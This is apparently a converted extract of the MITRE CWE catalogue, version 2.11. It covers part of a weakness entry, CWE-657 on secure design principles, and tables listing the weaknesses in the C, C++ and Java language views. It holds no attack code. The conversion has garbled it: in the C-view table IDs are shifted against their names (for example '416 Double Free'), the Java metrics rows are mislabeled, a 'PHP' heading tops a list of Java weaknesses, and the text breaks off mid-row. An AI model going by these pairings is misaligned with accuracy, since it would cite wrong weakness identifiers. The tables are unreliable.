Architecture and Design
When available, use publicly-vetted algorithms and procedures, as these are more likely to undergo more extensive security analysis and testing. This is especially the case with encryption and authentication.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>254</td>
<td>Security Features</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>B</td>
<td>259</td>
<td>Use of Hard-coded Password</td>
<td>699</td>
<td>453</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>B</td>
<td>321</td>
<td>Use of Hard-codedCryptographic Key</td>
<td>1000</td>
<td>566</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>B</td>
<td>472</td>
<td>External Control of Assumed-Immutable Web Parameter</td>
<td>1000</td>
<td>795</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>657</td>
<td>Violation of Secure Design Principles</td>
<td>699</td>
<td>1019</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>1000</td>
<td>1077</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>975</td>
<td>SFP Secondary Cluster: Architecture</td>
<td>888</td>
<td>1386</td>
</tr>
</tbody>
</table>

Relationship Notes
Note that there is a close relationship between this weakness and CWE-603 (Use of Client-Side Authentication). If developers do not believe that a user can reverse engineer a client, then they are more likely to choose client-side authentication in the belief that it is safe.
Causal Nature
Implicit

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>133</td>
<td>Try All Common Switches</td>
</tr>
</tbody>
</table>

References


CWE-657: Violation of Secure Design Principles

Weakness ID: 657 (Weakness Class) Status: Draft

Description

Summary
The product violates well-established principles for secure design.

Extended Description
This can introduce resultant weaknesses or make it easier for developers to introduce related weaknesses during implementation. Because code is centered around design, it can be resource-intensive to fix design problems.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Common Consequences
- Other
- Other

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>710</td>
<td>Coding Standards Violation</td>
<td>1112</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>975</td>
<td>SFP Secondary Cluster: Architecture</td>
<td>1386</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>250</td>
<td>Execution with Unnecessary Privileges</td>
<td>441</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>636</td>
<td>Not Failing Securely (‘Failing Open’)</td>
<td>985</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>637</td>
<td>Unnecessary Complexity in Protection Mechanism (Not Using ‘Economy of Mechanism’)</td>
<td>987</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>638</td>
<td>Not Using Complete Mediation</td>
<td>988</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>653</td>
<td>Insufficient Compartmentalization</td>
<td>1012</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>654</td>
<td>Reliance on a Single Factor in a Security Decision</td>
<td>1014</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>655</td>
<td>Insufficient Psychological Acceptability</td>
<td>1016</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>656</td>
<td>Reliance on Security Through Obscurity</td>
<td>1017</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>671</td>
<td>Lack of Administrator Control over Security</td>
<td>1040</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>699</td>
<td>Development Concepts</td>
<td>1083</td>
</tr>
</tbody>
</table>

References

### CWE-658: Weaknesses in Software Written in C

#### Objective
This view (slice) covers issues that are found in C programs that are not common to all languages.

#### Filter Used:
```
//Applicable_Platforms//@Language_Name='C'
```

#### View Data

<table>
<thead>
<tr>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>81</td>
<td>1006</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Views</th>
<th>Total</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>33</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Categories</th>
<th>Total</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>245</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Weaknesses</th>
<th>Total</th>
</tr>
</thead>
<tbody>
<tr>
<td>76</td>
<td>720</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Compound_Elements</th>
<th>Total</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>8</td>
</tr>
</tbody>
</table>

#### CWEs Included in this View

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>B</td>
<td>14</td>
<td>Compiler Removal of Code to Clear Buffers</td>
</tr>
<tr>
<td>C</td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
</tr>
<tr>
<td>B</td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
</tr>
<tr>
<td>V</td>
<td>121</td>
<td>Stack-based Buffer Overflow</td>
</tr>
<tr>
<td>V</td>
<td>122</td>
<td>Heap-based Buffer Overflow</td>
</tr>
<tr>
<td>B</td>
<td>123</td>
<td>Write-what-where Condition</td>
</tr>
<tr>
<td>B</td>
<td>124</td>
<td>Buffer Underwrite ('Buffer Underflow')</td>
</tr>
<tr>
<td>B</td>
<td>125</td>
<td>Out-of-bounds Read</td>
</tr>
<tr>
<td>V</td>
<td>126</td>
<td>Buffer Over-read</td>
</tr>
<tr>
<td>V</td>
<td>127</td>
<td>Buffer Under-read</td>
</tr>
<tr>
<td>B</td>
<td>128</td>
<td>Wrap-around Error</td>
</tr>
<tr>
<td>B</td>
<td>129</td>
<td>Improper Validation of Array Index</td>
</tr>
<tr>
<td>B</td>
<td>130</td>
<td>Improper Handling of Length Parameter Inconsistency</td>
</tr>
<tr>
<td>B</td>
<td>131</td>
<td>Incorrect Calculation of Buffer Size</td>
</tr>
<tr>
<td>B</td>
<td>134</td>
<td>Use of Externally-Controlled Format String</td>
</tr>
<tr>
<td>B</td>
<td>135</td>
<td>Incorrect Calculation of Multi-Byte String Length</td>
</tr>
<tr>
<td>B</td>
<td>170</td>
<td>Improper Null Termination</td>
</tr>
<tr>
<td>B</td>
<td>188</td>
<td>Reliance on Data/Memory Layout</td>
</tr>
<tr>
<td>B</td>
<td>191</td>
<td>Integer Underflow (Wrap or Wraparound)</td>
</tr>
<tr>
<td>C</td>
<td>192</td>
<td>Integer Coercion Error</td>
</tr>
<tr>
<td>B</td>
<td>194</td>
<td>Unexpected Sign Extension</td>
</tr>
<tr>
<td>V</td>
<td>195</td>
<td>Signed to Unsigned Conversion Error</td>
</tr>
<tr>
<td>V</td>
<td>196</td>
<td>Unsigned to Signed Conversion Error</td>
</tr>
<tr>
<td>B</td>
<td>197</td>
<td>Numeric Truncation Error</td>
</tr>
<tr>
<td>B</td>
<td>242</td>
<td>Use of Inherently Dangerous Function</td>
</tr>
<tr>
<td>B</td>
<td>243</td>
<td>Creation of chroot Jail Without Changing Working Directory</td>
</tr>
<tr>
<td>V</td>
<td>244</td>
<td>Improper Clearing of Heap Memory Before Release ('Heap Inspection')</td>
</tr>
<tr>
<td>C</td>
<td>251</td>
<td>Often Misused: String Management</td>
</tr>
<tr>
<td>C</td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</td>
</tr>
<tr>
<td>B</td>
<td>364</td>
<td>Signal Handler Race Condition</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>----------------------------------------------------</td>
</tr>
<tr>
<td>365</td>
<td>366</td>
<td>Race Condition in Switch</td>
</tr>
<tr>
<td>366</td>
<td>374</td>
<td>Race Condition within a Thread</td>
</tr>
<tr>
<td>374</td>
<td>375</td>
<td>Passing Mutable Objects to an Untrusted Method</td>
</tr>
<tr>
<td>375</td>
<td>387</td>
<td>Returning a Mutable Object to an Untrusted Caller</td>
</tr>
<tr>
<td>387</td>
<td>401</td>
<td>Signal Errors</td>
</tr>
<tr>
<td>401</td>
<td>415</td>
<td>Improper Release of Memory Before Removing Last Reference ('Memory Leak')</td>
</tr>
<tr>
<td>415</td>
<td>416</td>
<td>Double Free</td>
</tr>
<tr>
<td>416</td>
<td>457</td>
<td>Use of Uninitialized Variable</td>
</tr>
<tr>
<td>457</td>
<td>460</td>
<td>Improper Cleanup on Thrown Exception</td>
</tr>
<tr>
<td>460</td>
<td>462</td>
<td>Duplicate Key in Associative List (Alist)</td>
</tr>
<tr>
<td>462</td>
<td>463</td>
<td>Deletion of Data Structure Sentinel</td>
</tr>
<tr>
<td>463</td>
<td>464</td>
<td>Addition of Data Structure Sentinel</td>
</tr>
<tr>
<td>464</td>
<td>466</td>
<td>Return of Pointer Value Outside of Expected Range</td>
</tr>
<tr>
<td>466</td>
<td>467</td>
<td>Use of sizeof() on a Pointer Type</td>
</tr>
<tr>
<td>467</td>
<td>468</td>
<td>Incorrect Pointer Scaling</td>
</tr>
<tr>
<td>468</td>
<td>469</td>
<td>Use of Pointer Subtraction to Determine Size</td>
</tr>
<tr>
<td>469</td>
<td>474</td>
<td>Use of Function with Inconsistent Implementations</td>
</tr>
<tr>
<td>474</td>
<td>476</td>
<td>NULL Pointer Dereference</td>
</tr>
<tr>
<td>476</td>
<td>478</td>
<td>Missing Default Case in Switch Statement</td>
</tr>
<tr>
<td>478</td>
<td>479</td>
<td>Signal Handler Use of a Non-reentrant Function</td>
</tr>
<tr>
<td>479</td>
<td>480</td>
<td>Use of Incorrect Operator</td>
</tr>
<tr>
<td>480</td>
<td>481</td>
<td>Assigning instead of Comparing</td>
</tr>
<tr>
<td>481</td>
<td>482</td>
<td>Comparing instead of Assigning</td>
</tr>
<tr>
<td>482</td>
<td>483</td>
<td>Incorrect Block Delimitation</td>
</tr>
<tr>
<td>483</td>
<td>484</td>
<td>Omitted Break Statement in Switch</td>
</tr>
<tr>
<td>484</td>
<td>495</td>
<td>Private Array-Typed Field Returned From A Public Method</td>
</tr>
<tr>
<td>495</td>
<td>496</td>
<td>Public Data Assigned to Private Array-Typed Field</td>
</tr>
<tr>
<td>496</td>
<td>558</td>
<td>Use of getlogin() in Multithreaded Application</td>
</tr>
<tr>
<td>558</td>
<td>560</td>
<td>Use of umask() with chmod-style Argument</td>
</tr>
<tr>
<td>560</td>
<td>562</td>
<td>Return of Stack Variable Address</td>
</tr>
<tr>
<td>562</td>
<td>587</td>
<td>Assignment of a Fixed Address to a Pointer</td>
</tr>
<tr>
<td>587</td>
<td>676</td>
<td>Use of Potentially Dangerous Function</td>
</tr>
<tr>
<td>676</td>
<td>685</td>
<td>Function Call With Incorrect Number of Arguments</td>
</tr>
<tr>
<td>685</td>
<td>688</td>
<td>Function Call With Incorrect Variable or Reference as Argument</td>
</tr>
<tr>
<td>688</td>
<td>689</td>
<td>Permission Race Condition During Resource Copy</td>
</tr>
<tr>
<td>689</td>
<td>690</td>
<td>Unchecked Return Value to NULL Pointer Dereference</td>
</tr>
<tr>
<td>690</td>
<td>704</td>
<td>Incorrect Type Conversion or Cast</td>
</tr>
<tr>
<td>704</td>
<td>733</td>
<td>Compiler Optimization Removal or Modification of Security-critical Code</td>
</tr>
<tr>
<td>733</td>
<td>762</td>
<td>Mismatched Memory Management Routines</td>
</tr>
<tr>
<td>762</td>
<td>781</td>
<td>Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code</td>
</tr>
<tr>
<td>781</td>
<td>782</td>
<td>Exposed IOCTL with Insufficient Access Control</td>
</tr>
<tr>
<td>782</td>
<td>783</td>
<td>Operator Precedence Logic Error</td>
</tr>
<tr>
<td>783</td>
<td>785</td>
<td>Use of Path Manipulation Function without Maximum-sized Buffer</td>
</tr>
<tr>
<td>785</td>
<td>789</td>
<td>Uncontrolled Memory Allocation</td>
</tr>
<tr>
<td>789</td>
<td>805</td>
<td>Buffer Access with Incorrect Length Value</td>
</tr>
<tr>
<td>805</td>
<td>806</td>
<td>Buffer Access Using Size of Source Buffer</td>
</tr>
<tr>
<td>806</td>
<td>839</td>
<td>Numeric Range Comparison Without Minimum Check</td>
</tr>
<tr>
<td>839</td>
<td>843</td>
<td>Access of Resource Using Incompatible Type ('Type Confusion')</td>
</tr>
<tr>
<td>843</td>
<td>910</td>
<td>Use of Expired File Descriptor</td>
</tr>
</tbody>
</table>
CWE-659: Weaknesses in Software Written in C++

View ID: 659 (View: Implicit Slice)  Status: Draft

Objective
This view (slice) covers issues that are found in C++ programs that are not common to all languages.

View Data
Filter Used:
`.//Applicable_Platforms//@Language_Name='C++'

View Metrics

<table>
<thead>
<tr>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total</td>
<td>85 out of 1006</td>
</tr>
<tr>
<td>Views</td>
<td>0 out of 33</td>
</tr>
<tr>
<td>Categories</td>
<td>3 out of 245</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>81 out of 720</td>
</tr>
<tr>
<td>Compound_Elements</td>
<td>1 out of 8</td>
</tr>
</tbody>
</table>

CWEs Included in this View

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>B</td>
<td>14</td>
<td>Compiler Removal of Code to Clear Buffers</td>
</tr>
<tr>
<td>C</td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
</tr>
<tr>
<td>B</td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
</tr>
<tr>
<td>V</td>
<td>121</td>
<td>Stack-based Buffer Overflow</td>
</tr>
<tr>
<td>V</td>
<td>122</td>
<td>Heap-based Buffer Overflow</td>
</tr>
<tr>
<td>B</td>
<td>123</td>
<td>Write-what-where Condition</td>
</tr>
<tr>
<td>B</td>
<td>124</td>
<td>Buffer Underwrite ('Buffer Underflow')</td>
</tr>
<tr>
<td>B</td>
<td>125</td>
<td>Out-of-bounds Read</td>
</tr>
<tr>
<td>V</td>
<td>126</td>
<td>Buffer Over-read</td>
</tr>
<tr>
<td>V</td>
<td>127</td>
<td>Buffer Under-read</td>
</tr>
<tr>
<td>B</td>
<td>128</td>
<td>Wrap-around Error</td>
</tr>
<tr>
<td>B</td>
<td>129</td>
<td>Improper Validation of Array Index</td>
</tr>
<tr>
<td>B</td>
<td>130</td>
<td>Improper Handling of Length Parameter Inconsistency</td>
</tr>
<tr>
<td>B</td>
<td>131</td>
<td>Incorrect Calculation of Buffer Size</td>
</tr>
<tr>
<td>B</td>
<td>134</td>
<td>Use of Externally-Controlled Format String</td>
</tr>
<tr>
<td>B</td>
<td>135</td>
<td>Incorrect Calculation of Multi-Byte String Length</td>
</tr>
<tr>
<td>B</td>
<td>170</td>
<td>Improper Null Termination</td>
</tr>
<tr>
<td>B</td>
<td>188</td>
<td>Reliance on Data/Memory Layout</td>
</tr>
<tr>
<td>B</td>
<td>191</td>
<td>Integer Underflow (Wrap or Wraparound)</td>
</tr>
<tr>
<td>C</td>
<td>192</td>
<td>Integer Coercion Error</td>
</tr>
<tr>
<td>B</td>
<td>194</td>
<td>Unexpected Sign Extension</td>
</tr>
<tr>
<td>V</td>
<td>195</td>
<td>Signed to Unsigned Conversion Error</td>
</tr>
<tr>
<td>V</td>
<td>196</td>
<td>Unsigned to Signed Conversion Error</td>
</tr>
<tr>
<td>B</td>
<td>197</td>
<td>Numeric Truncation Error</td>
</tr>
<tr>
<td>B</td>
<td>242</td>
<td>Use of Inherently Dangerous Function</td>
</tr>
<tr>
<td>V</td>
<td>243</td>
<td>Creation of chroot Jail Without Changing Working Directory</td>
</tr>
<tr>
<td>V</td>
<td>244</td>
<td>Improper Clearing of Heap Memory Before Release ('Heap Inspection')</td>
</tr>
<tr>
<td>B</td>
<td>248</td>
<td>Uncaught Exception</td>
</tr>
<tr>
<td>C</td>
<td>251</td>
<td>Often Misused: String Management</td>
</tr>
<tr>
<td>C</td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</td>
</tr>
<tr>
<td>B</td>
<td>364</td>
<td>Signal Handler Race Condition</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td></td>
<td>365</td>
<td>Race Condition in Switch</td>
</tr>
<tr>
<td></td>
<td>366</td>
<td>Race Condition within a Thread</td>
</tr>
<tr>
<td></td>
<td>374</td>
<td>Passing Mutable Objects to an Untrusted Method</td>
</tr>
<tr>
<td></td>
<td>375</td>
<td>Returning a Mutable Object to an Untrusted Caller</td>
</tr>
<tr>
<td></td>
<td>387</td>
<td>Signal Errors</td>
</tr>
<tr>
<td></td>
<td>396</td>
<td>Declaration of Catch for Generic Exception</td>
</tr>
<tr>
<td></td>
<td>397</td>
<td>Declaration of Throws for Generic Exception</td>
</tr>
<tr>
<td></td>
<td>401</td>
<td>Improper Release of Memory Before Removing Last Reference ('Memory Leak')</td>
</tr>
<tr>
<td></td>
<td>415</td>
<td>Double Free</td>
</tr>
<tr>
<td></td>
<td>416</td>
<td>Use After Free</td>
</tr>
<tr>
<td></td>
<td>457</td>
<td>Use of Uninitialized Variable</td>
</tr>
<tr>
<td></td>
<td>460</td>
<td>Improper Cleanup on Thrown Exception</td>
</tr>
<tr>
<td></td>
<td>462</td>
<td>Duplicate Key in Associative List (Alist)</td>
</tr>
<tr>
<td></td>
<td>463</td>
<td>Deletion of Data Structure Sentinel</td>
</tr>
<tr>
<td></td>
<td>464</td>
<td>Addition of Data Structure Sentinel</td>
</tr>
<tr>
<td></td>
<td>466</td>
<td>Return of Pointer Value Outside of Expected Range</td>
</tr>
<tr>
<td></td>
<td>467</td>
<td>Use of sizeof() on a Pointer Type</td>
</tr>
<tr>
<td></td>
<td>468</td>
<td>Incorrect Pointer Scaling</td>
</tr>
<tr>
<td></td>
<td>469</td>
<td>Use of Pointer Subtraction to Determine Size</td>
</tr>
<tr>
<td></td>
<td>476</td>
<td>NULL Pointer Dereference</td>
</tr>
<tr>
<td></td>
<td>478</td>
<td>Missing Default Case in Switch Statement</td>
</tr>
<tr>
<td></td>
<td>479</td>
<td>Signal Handler Use of a Non-reentrant Function</td>
</tr>
<tr>
<td></td>
<td>480</td>
<td>Use of Incorrect Operator</td>
</tr>
<tr>
<td></td>
<td>481</td>
<td>Assigning instead of Comparing</td>
</tr>
<tr>
<td></td>
<td>482</td>
<td>Comparing instead of Assigning</td>
</tr>
<tr>
<td></td>
<td>483</td>
<td>Incorrect Block Delimitation</td>
</tr>
<tr>
<td></td>
<td>484</td>
<td>Omitted Break Statement in Switch</td>
</tr>
<tr>
<td></td>
<td>493</td>
<td>Critical Public Variable Without Final Modifier</td>
</tr>
<tr>
<td></td>
<td>495</td>
<td>Private Array-Typed Field Returned From A Public Method</td>
</tr>
<tr>
<td></td>
<td>496</td>
<td>Public Data Assigned to Private Array-Typed Field</td>
</tr>
<tr>
<td></td>
<td>498</td>
<td>Cloneable Class Containing Sensitive Information</td>
</tr>
<tr>
<td></td>
<td>500</td>
<td>Public Static Field Not Marked Final</td>
</tr>
<tr>
<td></td>
<td>543</td>
<td>Use of Singleton Pattern Without Synchronization in a Multithreaded Context</td>
</tr>
<tr>
<td></td>
<td>558</td>
<td>Use of getlogin() in Multithreaded Application</td>
</tr>
<tr>
<td></td>
<td>562</td>
<td>Return of Stack Variable Address</td>
</tr>
<tr>
<td></td>
<td>587</td>
<td>Assignment of a Fixed Address to a Pointer</td>
</tr>
<tr>
<td></td>
<td>676</td>
<td>Use of Potentially Dangerous Function</td>
</tr>
<tr>
<td></td>
<td>690</td>
<td>Unchecked Return Value to NULL Pointer Dereference</td>
</tr>
<tr>
<td></td>
<td>704</td>
<td>Incorrect Type Conversion or Cast</td>
</tr>
<tr>
<td></td>
<td>733</td>
<td>Compiler Optimization Removal or Modification of Security-critical Code</td>
</tr>
<tr>
<td></td>
<td>762</td>
<td>Mismatched Memory Management Routines</td>
</tr>
<tr>
<td></td>
<td>766</td>
<td>Critical Variable Declared Public</td>
</tr>
<tr>
<td></td>
<td>767</td>
<td>Access to Critical Private Variable via Public Method</td>
</tr>
<tr>
<td></td>
<td>781</td>
<td>Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code</td>
</tr>
<tr>
<td></td>
<td>782</td>
<td>Exposed IOCTL with Insufficient Access Control</td>
</tr>
<tr>
<td></td>
<td>783</td>
<td>Operator Precedence Logic Error</td>
</tr>
<tr>
<td></td>
<td>785</td>
<td>Use of Path Manipulation Function without Maximum-sized Buffer</td>
</tr>
<tr>
<td></td>
<td>789</td>
<td>Uncontrolled Memory Allocation</td>
</tr>
<tr>
<td></td>
<td>805</td>
<td>Buffer Access with Incorrect Length Value</td>
</tr>
<tr>
<td></td>
<td>806</td>
<td>Buffer Access Using Size of Source Buffer</td>
</tr>
<tr>
<td></td>
<td>839</td>
<td>Numeric Range Comparison Without Minimum Check</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-660: Weaknesses in Software Written in Java

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>B</td>
<td>843</td>
<td>Access of Resource Using Incompatible Type ('Type Confusion')</td>
</tr>
<tr>
<td>B</td>
<td>910</td>
<td>Use of Expired File Descriptor</td>
</tr>
<tr>
<td>B</td>
<td>911</td>
<td>Improper Update of Reference Count</td>
</tr>
</tbody>
</table>

CWE-660: Weaknesses in Software Written in Java

View ID: 660 (View: Implicit Slice) Status: Draft

Objective
This view (slice) covers issues that are found in Java programs that are not common to all languages.

View Data
Filter Used:
://Applicable_Platforms/@Language_Name='Java'

View Metrics

<table>
<thead>
<tr>
<th></th>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total Views</td>
<td>73</td>
<td>1006</td>
</tr>
<tr>
<td>Categories</td>
<td>0</td>
<td>33</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>71</td>
<td>720</td>
</tr>
<tr>
<td>Compound_Elements</td>
<td>0</td>
<td>8</td>
</tr>
</tbody>
</table>

CWEs Included in this View

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>V</td>
<td>5</td>
<td>J2EE Misconfiguration: Data Transmission Without Encryption</td>
</tr>
<tr>
<td>V</td>
<td>6</td>
<td>J2EE Misconfiguration: Insufficient Session-ID Length</td>
</tr>
<tr>
<td>V</td>
<td>7</td>
<td>J2EE Misconfiguration: Missing Custom Error Page</td>
</tr>
<tr>
<td>B</td>
<td>95</td>
<td>Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')</td>
</tr>
<tr>
<td>C</td>
<td>101</td>
<td>Struts Validation Problems</td>
</tr>
<tr>
<td>V</td>
<td>102</td>
<td>Struts: Duplicate Validation Forms</td>
</tr>
<tr>
<td>V</td>
<td>103</td>
<td>Struts: Incomplete validate() Method Definition</td>
</tr>
<tr>
<td>V</td>
<td>104</td>
<td>Struts: Form Bean Does Not Extend Validation Class</td>
</tr>
<tr>
<td>V</td>
<td>105</td>
<td>Struts: Form Field Without Validator</td>
</tr>
<tr>
<td>V</td>
<td>106</td>
<td>Struts: Plug-in Framework not in Use</td>
</tr>
<tr>
<td>V</td>
<td>107</td>
<td>Struts: Unused Validation Form</td>
</tr>
<tr>
<td>V</td>
<td>108</td>
<td>Struts: Unvalidated Action Form</td>
</tr>
<tr>
<td>V</td>
<td>109</td>
<td>Struts: Validator Turned Off</td>
</tr>
<tr>
<td>V</td>
<td>110</td>
<td>Struts: Validator Without Form Field</td>
</tr>
<tr>
<td>B</td>
<td>111</td>
<td>Direct Use of Unsafe JNI</td>
</tr>
<tr>
<td>B</td>
<td>191</td>
<td>Integer Underflow (Wrap or Wraparound)</td>
</tr>
<tr>
<td>C</td>
<td>192</td>
<td>Integer Coercion Error</td>
</tr>
<tr>
<td>B</td>
<td>197</td>
<td>Numeric Truncation Error</td>
</tr>
<tr>
<td>V</td>
<td>245</td>
<td>J2EE Bad Practices: Direct Management of Connections</td>
</tr>
<tr>
<td>V</td>
<td>246</td>
<td>J2EE Bad Practices: Direct Use of Sockets</td>
</tr>
<tr>
<td>B</td>
<td>248</td>
<td>Uncaught Exception</td>
</tr>
<tr>
<td>C</td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</td>
</tr>
<tr>
<td>B</td>
<td>365</td>
<td>Race Condition in Switch</td>
</tr>
<tr>
<td>B</td>
<td>366</td>
<td>Race Condition within a Thread</td>
</tr>
<tr>
<td>B</td>
<td>374</td>
<td>Passing Mutable Objects to an Untrusted Method</td>
</tr>
<tr>
<td>B</td>
<td>375</td>
<td>Returning a Mutable Object to an Untrusted Caller</td>
</tr>
<tr>
<td>V</td>
<td>382</td>
<td>J2EE Bad Practices: Use of System.exit()</td>
</tr>
<tr>
<td>V</td>
<td>383</td>
<td>J2EE Bad Practices: Direct Use of Threads</td>
</tr>
<tr>
<td>B</td>
<td>395</td>
<td>Use of NullPointerException Catch to Detect NULL Pointer Dereference</td>
</tr>
</tbody>
</table>
### CWE-661: Weaknesses in Software Written in PHP

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>☣</td>
<td>396</td>
<td>Declaration of Catch for Generic Exception</td>
</tr>
<tr>
<td>☣</td>
<td>397</td>
<td>Declaration of Throws for Generic Exception</td>
</tr>
<tr>
<td>☣</td>
<td>460</td>
<td>Improper Cleanup on Thrown Exception</td>
</tr>
<tr>
<td>☣</td>
<td>462</td>
<td>Duplicate Key in Associative List (Alist)</td>
</tr>
<tr>
<td>☣</td>
<td>470</td>
<td>Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')</td>
</tr>
<tr>
<td>☣</td>
<td>476</td>
<td>NULL Pointer Dereference</td>
</tr>
<tr>
<td>☣</td>
<td>478</td>
<td>Missing Default Case in Switch Statement</td>
</tr>
<tr>
<td>☣</td>
<td>481</td>
<td>Assigning instead of Comparing</td>
</tr>
<tr>
<td>☣</td>
<td>484</td>
<td>Omitted Break Statement in Switch</td>
</tr>
<tr>
<td>☣</td>
<td>486</td>
<td>Comparison of Classes by Name</td>
</tr>
<tr>
<td>☣</td>
<td>487</td>
<td>Reliance on Package-level Scope</td>
</tr>
<tr>
<td>☣</td>
<td>491</td>
<td>Public cloneable() Method Without Final ('Object Hijack')</td>
</tr>
<tr>
<td>☣</td>
<td>492</td>
<td>Use of Inner Class Containing Sensitive Data</td>
</tr>
<tr>
<td>☣</td>
<td>493</td>
<td>Critical Public Variable Without Final Modifier</td>
</tr>
<tr>
<td>☣</td>
<td>495</td>
<td>Private Array-Typed Field Returned From A Public Method</td>
</tr>
<tr>
<td>☣</td>
<td>496</td>
<td>Public Data Assigned to Private Array-Typed Field</td>
</tr>
<tr>
<td>☣</td>
<td>498</td>
<td>Cloneable Class Containing Sensitive Information</td>
</tr>
<tr>
<td>☣</td>
<td>499</td>
<td>Serializable Class Containing Sensitive Data</td>
</tr>
<tr>
<td>☣</td>
<td>500</td>
<td>Public Static Field Not Marked Final</td>
</tr>
<tr>
<td>☣</td>
<td>502</td>
<td>Deserialization of Untrusted Data</td>
</tr>
<tr>
<td>☣</td>
<td>537</td>
<td>Information Exposure Through Java Runtime Error Message</td>
</tr>
<tr>
<td>☣</td>
<td>543</td>
<td>Use of Singleton Pattern Without Synchronization in a Multithreaded Context</td>
</tr>
<tr>
<td>☣</td>
<td>568</td>
<td>finalize() Method Without super.finalize()</td>
</tr>
<tr>
<td>☣</td>
<td>572</td>
<td>Call to Thread run() instead of start()</td>
</tr>
<tr>
<td>☣</td>
<td>574</td>
<td>EJB Bad Practices: Use of Synchronization Primitives</td>
</tr>
<tr>
<td>☣</td>
<td>575</td>
<td>EJB Bad Practices: Use of AWT Swing</td>
</tr>
<tr>
<td>☣</td>
<td>576</td>
<td>EJB Bad Practices: Use of Java I/O</td>
</tr>
<tr>
<td>☣</td>
<td>577</td>
<td>EJB Bad Practices: Use of Sockets</td>
</tr>
<tr>
<td>☣</td>
<td>578</td>
<td>EJB Bad Practices: Use of Class Loader</td>
</tr>
<tr>
<td>☣</td>
<td>579</td>
<td>J2EE Bad Practices: Non-serializable Object Stored in Session</td>
</tr>
<tr>
<td>☣</td>
<td>580</td>
<td>clone() Method Without super.clone()</td>
</tr>
<tr>
<td>☣</td>
<td>581</td>
<td>Object Model Violation: Just One of Equals and Hashcode Defined</td>
</tr>
<tr>
<td>☣</td>
<td>582</td>
<td>Array Declared Public, Final, and Static</td>
</tr>
<tr>
<td>☣</td>
<td>583</td>
<td>finalize() Method Declared Public</td>
</tr>
<tr>
<td>☣</td>
<td>585</td>
<td>Empty Synchronized Block</td>
</tr>
<tr>
<td>☣</td>
<td>586</td>
<td>Explicit Call to finalize()</td>
</tr>
<tr>
<td>☣</td>
<td>594</td>
